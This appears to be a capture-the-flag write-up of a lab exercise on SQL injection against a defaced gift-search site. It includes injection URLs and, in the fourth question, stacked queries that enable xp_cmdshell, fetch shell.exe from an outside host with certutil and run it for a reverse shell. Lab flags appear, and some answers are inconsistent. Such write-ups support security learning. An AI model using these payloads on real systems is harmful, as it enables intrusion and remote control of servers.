**How to test for SQLi?**

Testing for SQL injection is a critical aspect of web application security assessment. It involves probing the application to identify vulnerabilities where an attacker can manipulate user-supplied input to execute unauthorized SQL queries.

Typically, you want to look for URLs with visible parameters or forms. A big indicator a website is vulnerable to SQL injection is when you attempt to provide invalid data into the form or parameters and an error is visibly displayed or nothing happens. The most common way is to use a single quote.

**Example**  
<http://10.10.201.119/giftresults.php?age=>’ 🡨 This is the invalid data.

**A close up of text

Description automatically generatedError Example**

**Question 1) Manually navigate the defaced website to find the vulnerable search form. What is the first webpage you come across that contains the gift-finding feature?**

Navigating to the main website (index.php) I see that the webpage has been defaced.

A white paper with red text

Description automatically generated

I then looked for the possible search form by scrolling up and down, and then I went to the navigation menu.

A screenshot of a search box

Description automatically generatedHere I found “Gift Search”, which showed a form.

So the webpage is giftresults.php.

**Answer**: giftsearch.php

**Question 2) Analyze the SQL error message that is returned. What ODBC Driver is being used in the back end of the website?**

When modifying the search form, I discovered that the URL changes without being hidden. This means that the parameters **age**, **interests**, and **budget** are used to send to the backend database.

I decided to modify one of the parameter values and it gave me an error.

A screenshot of a computer program

Description automatically generated

This means that it is quite possible that this URL is vulnerable to SQL injection. The error message should not be displayed if it was program properly.

**Answer**: ODBC Driver 12 for SQL Server

**Question 3) Inject the 1=1 condition into the Gift Search form. What is the last result returned in the database?**

In the search form gift result page, I modified the URL to say this.

Scrolling all the way down, you will see the flag.

**Answer**: THM{a4ffc901c27fb89efe3c31642ece4447}

**Question 4) What flag is in the note file Fr33dstr left behind on the system?**

For this I will use a reverse shell.

With MS-SQL there is a way to exploit MS-SQL, if the developer hasn’t removed curtained privileges from the service account a user can run the following:

10.10.201.119/giftresults.php?age='; EXEC sp\_configure 'show advanced options', 1; RECONFIGURE; EXEC sp\_configure 'xp\_cmdshell', 1; RECONFIGURE; --

Download the file using xp\_cmdshell vulnerability.

http://10.10.201.119/giftresults.php?age=%27;%20EXEC%20xp\_cmdshell%20%27Certutil.exe%20-f%20-urlcache%20http://10.8.180.190/shell.exe%20C:\Windows\Temp\shell.exe%27;%20--

Setup a netcat listener.

A close up of text

Description automatically generated

A screen shot of a computer

Description automatically generated**Run**: 10.10.201.119/giftresults.php?age='; EXEC xp\_cmdshell 'C:\Windows\Temp\shell.exe'; --

A screenshot of a computer

Description automatically generated

**Answer**: THM{b06674fedd8dfc28ca75176d3d51409e}

**Question 5) What is the flag you receive on the homepage after restoring the website?**

A black background with white text

Description automatically generated

Going back to the main webpage, I see the flag waiting.



**Answer**: THM{4cbc043631e322450bc55b42c}